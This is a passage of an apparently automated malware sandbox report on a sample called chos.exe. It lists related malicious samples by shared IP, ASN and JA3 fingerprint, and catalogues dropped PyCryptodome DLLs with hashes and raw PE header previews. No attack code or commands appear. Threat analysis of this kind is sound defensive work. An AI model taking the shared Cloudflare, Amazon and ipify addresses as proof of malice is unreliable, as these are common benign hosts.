                                                                                                                                                                                                                        NoBackend.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        Microsoft_Teams_SC.ba#.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        api.ipify.orghttp://ap2vxmyqxf.ballyentoe.shopGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                                                                                                                                                                        • 104.26.12.205
                                                                                                                                                                                                                        installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.26.12.205
                                                                                                                                                                                                                        installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 172.67.74.152
                                                                                                                                                                                                                        zapret.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.26.12.205
                                                                                                                                                                                                                        Rockwool-Msg-S9039587897.pdfGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                                                                                                                                                                        • 104.26.12.205
                                                                                                                                                                                                                        RFQ-004282A.Teknolojileri A.S.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                        • 172.67.74.152
                                                                                                                                                                                                                        Employee_Letter.pdfGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                        • 104.26.12.205
                                                                                                                                                                                                                        discord.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 172.67.74.152
                                                                                                                                                                                                                        jgbC220X2U.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 172.67.74.152
                                                                                                                                                                                                                        QUOTATION#08670.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                        • 172.67.74.152

                                                                                                                                                                                                                        ASNs

                                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                        CLOUDFLARENETUS3181425fa7464801a03868a1adf86bc1.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.21.66.79
                                                                                                                                                                                                                        shost.exeGet hashmaliciousPython Stealer, Muck StealerBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        sppawx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        ahost.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        wsapx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        main.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.20.4.235
                                                                                                                                                                                                                        in.exeGet hashmaliciousBabadeda, HTMLPhisherBrowse
                                                                                                                                                                                                                        • 104.17.25.14
                                                                                                                                                                                                                        CVmkXJ7e0a.exeGet hashmaliciousSheetRatBrowse
                                                                                                                                                                                                                        • 104.16.185.241
                                                                                                                                                                                                                        naukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 172.64.41.3
                                                                                                                                                                                                                        WE8zqotCFj.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                                                                        • 162.159.137.232
                                                                                                                                                                                                                        CLOUDFLARENETUS3181425fa7464801a03868a1adf86bc1.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.21.66.79
                                                                                                                                                                                                                        shost.exeGet hashmaliciousPython Stealer, Muck StealerBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        sppawx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        ahost.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.135.232
                                                                                                                                                                                                                        wsapx.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        • 162.159.136.232
                                                                                                                                                                                                                        main.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 104.20.4.235
                                                                                                                                                                                                                        in.exeGet hashmaliciousBabadeda, HTMLPhisherBrowse
                                                                                                                                                                                                                        • 104.17.25.14
                                                                                                                                                                                                                        CVmkXJ7e0a.exeGet hashmaliciousSheetRatBrowse
                                                                                                                                                                                                                        • 104.16.185.241
                                                                                                                                                                                                                        naukri-launcher 10.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 172.64.41.3
                                                                                                                                                                                                                        WE8zqotCFj.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                                                                        • 162.159.137.232
                                                                                                                                                                                                                        AMAZON-02USsparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 18.252.132.130
                                                                                                                                                                                                                        arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 34.249.145.219
                                                                                                                                                                                                                        x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 13.222.71.194
                                                                                                                                                                                                                        http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 52.24.227.163
                                                                                                                                                                                                                        x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 18.242.255.3
                                                                                                                                                                                                                        arm5.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 44.228.127.176
                                                                                                                                                                                                                        sh4.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 3.251.85.156
                                                                                                                                                                                                                        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 18.184.233.255
                                                                                                                                                                                                                        mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                        • 18.194.49.4
                                                                                                                                                                                                                        b3astmode.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                        • 18.244.62.223

                                                                                                                                                                                                                        JA3 Fingerprints

                                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                        74954a0c86284d0d6e1c4efefe92b521file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        yiDQb6GkBq.exeGet hashmaliciousAmadey, LummaC Stealer, VidarBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        Document.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        aLsxeH29P2.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        c9a6BV0eQO.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        dYUteuvmHn.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        new.ini.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        ALFq7XP17d.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        kYGxoN4JVW.batGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245
                                                                                                                                                                                                                        pn866G3CCj.lnkGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        • 31.14.70.245

                                                                                                                                                                                                                        Dropped Files

                                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_ARC4.pydshost.exeGet hashmaliciousPython Stealer, Muck StealerBrowse
                                                                                                                                                                                                                          lz4wnSavmK.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                                            WVuXCNNYG0.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                                              dipwo1iToJ.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                                                ROh2ijuEpr.exeGet hashmaliciousBabuk, ContiBrowse
                                                                                                                                                                                                                                  zed.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                    back.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                      zed.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                        file.exeGet hashmaliciousPython Stealer, Amadey, LummaC Stealer, Nymaim, StealcBrowse
                                                                                                                                                                                                                                          file.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                                            Created / dropped Files

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_ARC4.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11264
                                                                                                                                                                                                                                            Entropy (8bit):4.640339306680604
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:dLklddyTHThob0q/tJRrlDfNYSOcqgYCWt:ZgcdZq/JJD6gRWt
                                                                                                                                                                                                                                            MD5:BCD8CAAF9342AB891BB1D8DD45EF0098
                                                                                                                                                                                                                                            SHA1:EE7760BA0FF2548F25D764F000EFBB1332BE6D3E
                                                                                                                                                                                                                                            SHA-256:78725D2F55B7400A3FCAFECD35AF7AEB253FBC0FFCDF1903016EB0AABD1B4E50
                                                                                                                                                                                                                                            SHA-512:8B6FB53AECB514769985EBFDAB1B3C739024597D9C35905E04971D5422256546F7F169BF98F9BAF7D9F42A61CFF3EE7A20664989D3000773BF5EDA10CB3A0C24
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Joe Sandbox View:
                                                                                                                                                                                                                                            • Filename: shost.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: lz4wnSavmK.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: WVuXCNNYG0.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: dipwo1iToJ.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: ROh2ijuEpr.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: zed.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: back.ps1, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: zed.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...Y..f.........." ................P........................................p............`..........................................'......0(..d....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata..Z.... ......................@..@.data...H....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..(....`.......*..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_Salsa20.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13824
                                                                                                                                                                                                                                            Entropy (8bit):5.0194545642425075
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:4t/1nCuqaL0kt7AznuRmceS4lDFhAlcqgcLg:F/k1ACln4lDogcLg
                                                                                                                                                                                                                                            MD5:F19CB847E567A31FAB97435536C7B783
                                                                                                                                                                                                                                            SHA1:4C8BFE404AF28C1781740E7767619A5E2D2FF2B7
                                                                                                                                                                                                                                            SHA-256:1ECE1DC94471D6977DBE2CEEBA3764ADF0625E2203D6257F7C781C619D2A3DAD
                                                                                                                                                                                                                                            SHA-512:382DC205F703FC3E1F072F17F58E321E1A65B86BE7D9D6B07F24A02A156308A7FEC9B1A621BA1F3428FD6BB413D14AE9ECB2A2C8DD62A7659776CFFDEBB6374C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...Z..f.........." ................P.....................................................`..........................................8......H9..d....`.......P..L............p..(....1...............................1..8............0...............................text...h........................... ..`.rdata..r....0......................@..@.data...H....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..(....p.......4..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_chacha20.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13312
                                                                                                                                                                                                                                            Entropy (8bit):5.037456384995606
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:st/1nCuqaL0ktPMn1ENe3erKr5br0YbsiDw6a9lkOcqgRGd:p/kpMIodrXbsiDS95gRGd
                                                                                                                                                                                                                                            MD5:DC14677EA8A8C933CC41F9CCF2BEDDC1
                                                                                                                                                                                                                                            SHA1:A6FB87E8F3540743097A467ABE0723247FDAF469
                                                                                                                                                                                                                                            SHA-256:68F081E96AE08617CF111B21EDED35C1774A5EF1223DF9A161C9445A78F25C73
                                                                                                                                                                                                                                            SHA-512:3ABA4CFCBBE4B350AB3230D488BD75186427E3AAAF38D19E0E1C7330F16795AD77FB6E26FF39AF29EAF4F5E8C42118CB680F90AFBFCA218AEDA64DC444675BA2
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...Z..f.........." ................P.....................................................`......................................... 8.......8..d....`.......P..d............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..(....p.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_pkcs1_decode.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14336
                                                                                                                                                                                                                                            Entropy (8bit):5.09191874780435
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:rMVsiXeqVb0lIb0Pj5Jdfpm68WZDInU282tacqgYLg:rM7ali0Pj5JxCaDuUlgYLg
                                                                                                                                                                                                                                            MD5:C09BB8A30F0F733C81C5C5A3DAD8D76D
                                                                                                                                                                                                                                            SHA1:46FD3BA87A32D12F4EE14601D1AD73B78EDC81D1
                                                                                                                                                                                                                                            SHA-256:8A1B751DB47CE7B1D3BD10BEBFFC7442BE4CFB398E96E3B1FF7FB83C88A8953D
                                                                                                                                                                                                                                            SHA-512:691AC74FAE930E9CEABE782567EFB99C50DD9B8AD607DD7F99A5C7DF2FA2BEB7EDFE2EBB7095A72DA0AE24E688FBABD340EAE8B646D5B8C394FEE8DDD5E60D31
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^:.6?T.6?T.6?T.?G..2?T.dJU.4?T.}GU.5?T.6?U..?T.dJQ.<?T.dJP.>?T.dJW.5?T..J\.7?T..JT.7?T..J..7?T..JV.7?T.Rich6?T.........................PE..d...X..f.........." ................P.....................................................`.........................................`8.......8..d....`.......P..(............p..(....1...............................1..8............0...............................text............................... ..`.rdata..6....0....... ..............@..@.data...x....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..(....p.......6..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aes.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):36352
                                                                                                                                                                                                                                            Entropy (8bit):6.541423493519083
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:f/UlZA5PUEllvxL/7v/iKBt5ByU0xGitqzSEkxGG7+tpKHb/LZ7fr52EkifcMxme:klcR7JriEbwDaS4j990th9VDBV
                                                                                                                                                                                                                                            MD5:0AB25F99CDAACA6B11F2ECBE8223CAD5
                                                                                                                                                                                                                                            SHA1:7A881B3F84EF39D97A31283DE6D7B7AE85C8BAE6
                                                                                                                                                                                                                                            SHA-256:6CE8A60D1AB5ADC186E23E3DE864D7ADF6BDD37E3B0C591FA910763C5C26AF60
                                                                                                                                                                                                                                            SHA-512:11E89EEF34398DF3B144A0303E08B3A4CAF41A9A8CA618C18135F561731F285F8CF821D81179C2C45F6EEB0E496D9DD3ECF6FF202A3C453C80AFEF8582D06C17
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...V..f.........." .....H...H......P.....................................................`.........................................p...........d...............................0......................................8............`...............................text...xG.......H.................. ..`.rdata.."6...`...8...L..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):15360
                                                                                                                                                                                                                                            Entropy (8bit):5.367749645917753
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:YiJBj5fq/Rk0kPLhOZ3UucCWuSKPEkA2bD9JXx03cqg5YUMLgs:/k1kTMZEjCWNaA2DTx0g5YUMLg
                                                                                                                                                                                                                                            MD5:B6EA675C3A35CD6400A7ECF2FB9530D1
                                                                                                                                                                                                                                            SHA1:0E41751AA48108D7924B0A70A86031DDE799D7D6
                                                                                                                                                                                                                                            SHA-256:76EF4C1759B5553550AB652B84F8E158BA8F34F29FD090393815F06A1C1DC59D
                                                                                                                                                                                                                                            SHA-512:E31FD33E1ED6D4DA3957320250282CFD9EB3A64F12DE4BD2DFE3410F66725164D96B27CAA34C501D1A535A5A2442D5F070650FD3014B4B92624EE00F1C3F3197
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.z.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...V..f.........." ......... ......P.....................................................`..........................................9......$:..d....`.......P...............p..(....1...............................1..8............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...8....@.......2..............@....pdata.......P.......4..............@..@.rsrc........`.......8..............@..@.reloc..(....p.......:..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_arc2.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):16384
                                                                                                                                                                                                                                            Entropy (8bit):5.41148259289073
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:w3d9FkHaz0EJvrj+CYuz7ucc9dG7otDr22KcqgOiewZjW:YkHEJzj+X6769lDzagO/w
                                                                                                                                                                                                                                            MD5:F14E1AA2590D621BE8C10321B2C43132
                                                                                                                                                                                                                                            SHA1:FD84D11619DFFDF82C563E45B48F82099D9E3130
                                                                                                                                                                                                                                            SHA-256:FCE70B3DAFB39C6A4DB85D2D662CB9EB9C4861AA648AD7436E7F65663345D177
                                                                                                                                                                                                                                            SHA-512:A86B9DF163007277D26F2F732ECAB9DBCA8E860F8B5809784F46702D4CEA198824FDEF6AB98BA7DDC281E8791C10EABA002ABDA6F975323B36D5967E0443C1E4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...W..f.........." ....."... ......P.....................................................`.........................................pI.......J..d....p.......`..................(....B...............................B..8............@...............................text...( .......".................. ..`.rdata..<....@.......&..............@..@.data...H....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..(............>..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_blowfish.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):20992
                                                                                                                                                                                                                                            Entropy (8bit):6.041302713678401
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:kUX0JfbRz5MLZA0nmwzMDYpJgLa0Mp8NDBcxgprAM:6NbRzWXwDqgLa1uBfP
                                                                                                                                                                                                                                            MD5:B127CAE435AEB8A2A37D2A1BC1C27282
                                                                                                                                                                                                                                            SHA1:2A7BF8BF7F24B2381370BA6B41FB640EE42BDCCD
                                                                                                                                                                                                                                            SHA-256:538B1253B5929254ED92129FA0957DB26CDDF34A8372BA0BF19D20D01549ADA3
                                                                                                                                                                                                                                            SHA-512:4FE027E46D5132CA63973C67BD5394F2AC74DD4BBCFE93CB16136FAB4B6BF67BECB5A0D4CA359FF9426DA63CA81F793BBF1B79C8A9D8372C53DCB5796D17367E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...W..f.........." .....$...0......P.....................................................`.........................................0Y.......Y..d............p..................0....Q...............................R..8............@...............................text....".......$.................. ..`.rdata.......@... ...(..............@..@.data...H....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..0............P..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cast.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):24576
                                                                                                                                                                                                                                            Entropy (8bit):6.530656045206549
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:cEDwUBi9SPu71omZXmrfXA+UA10ol31tuXVYdAgYj:FsUBXmoEXmrXA+NNxWFYfo
                                                                                                                                                                                                                                            MD5:2E15AA6F97ED618A3236CFA920988142
                                                                                                                                                                                                                                            SHA1:A9D556D54519D3E91FA19A936ED291A33C0D1141
                                                                                                                                                                                                                                            SHA-256:516C5EA47A7B9A166F2226ECBA79075F1A35EFFF14D87E00006B34496173BB78
                                                                                                                                                                                                                                            SHA-512:A6C75C4A285753CC94E45500E8DD6B6C7574FB7F610FF65667F1BEC8D8B413FC10514B7D62F196C2B8D017C308C5E19E2AEF918021FA81D0CB3D8CED37D8549A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...W..f.........." .....$...>............................................................`..........................................h.......i..d...............................0....a...............................a..8............@...............................text....#.......$.................. ..`.rdata..:-...@.......(..............@..@.data...H....p.......V..............@....pdata...............X..............@..@.rsrc................\..............@..@.reloc..0............^..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cbc.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12288
                                                                                                                                                                                                                                            Entropy (8bit):4.7080156150187396
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:lF/1n7Guqaj0ktfEJwX1fYwCODR3lncqg0Gd6l:RGXkJEm1feODxDg0Gd6
                                                                                                                                                                                                                                            MD5:40390F2113DC2A9D6CFAE7127F6BA329
                                                                                                                                                                                                                                            SHA1:9C886C33A20B3F76B37AA9B10A6954F3C8981772
                                                                                                                                                                                                                                            SHA-256:6BA9C910F755885E4D356C798A4DD32D2803EA4CFABB3D56165B3017D0491AE2
                                                                                                                                                                                                                                            SHA-512:617B963816838D649C212C5021D7D0C58839A85D4D33BBAF72C0EC6ECD98B609080E9E57AF06FA558FF302660619BE57CC974282826AB9F21AE0D80FBAA831A1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...X..f.........." ................P.....................................................`..........................................8.......8..d....`.......P..X............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..(....p......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cfb.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12800
                                                                                                                                                                                                                                            Entropy (8bit):5.159963979391524
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:kblRgfeqfz0RP767fB4A84DgVD6eDcqgzbkLgmf:BwRj67p84Dg6eVgzbkLgmf
